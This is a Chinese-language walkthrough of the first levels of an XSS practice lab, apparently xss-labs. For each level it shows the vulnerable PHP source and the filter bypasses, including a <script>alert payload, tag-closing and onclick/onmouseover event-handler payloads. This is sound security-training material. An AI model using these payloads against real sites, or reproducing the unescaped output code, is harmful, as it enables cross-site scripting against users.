前端F12查看代码:
这里只能看到参数test输出在h2里面,可以尝试直接构造payload:
<script>alert(/xss/)</script>
后台关键源码:
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "欢迎用户"
.$str."";
?>
这里是以GET方法获取参数name,并直接输出,没有任何过滤或转义。
尝试上一关的方法:
Payload没有执行成功,而且被原封不动的输出来了,估计是被实体转义了。
尝试一下构造闭合input的payload:
"><script>alert(/xss/)</script>//
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "没有找到和"
.htmlspecialchars($str)."相关的结果.".'
$str.'">
';
?>
这里面的输出用了htmlspecialchars()函数做实体转义,payload的一些字符被转换为HTML实体了,所以不能作为标签运行。
htmlspecialchars()函数具体参考如下:
这里的字符转换只是作为HTML输出,浏览器输出还是和原来的字符一样,例如:
先试一下第二关的方法:
这里可以看到用来构造闭合的双引号被转义了。
后台关键源码:
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "没有找到和"
.htmlspecialchars($str)."相关的结果."."
";
?>
和第二关的源代码做一下对比,发现这里不仅输出用了htmlspecialchars()函数做实体转义,输入也用了该函数。所以只能用来尝试
因为&、<、>还有双引号都被转换了,可以尝试构造不包含这些字符的payload
方法一:构造onclick事件(点击一下输入框,就可以触发onclick事件,响应onclick中的javascript代码)
Payload='onclick=alert(/xss/)//
方法二:构造onmouseover事件(鼠标移动到输入框,就可以触发onmouseover事件,响应onmouseover中的javascript代码)
Payload='onmouseover=alert(/xss/)//
用上一关的方法:
发现单引号闭合不了,那就用双引号试试:
成功闭合,鼠标移动到输入框,成功!
后台关键源码:
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "没有找到和"
.htmlspecialchars($str)."相关的结果.".'
$str3.'">
';
?>
此处用了str_replace()函数将用户输入个keyword中的字符 > < 替换为空,所以不能用<>的payload。
碰到字符被转义的情况,尝试用其他没有被转义的字符构造payload。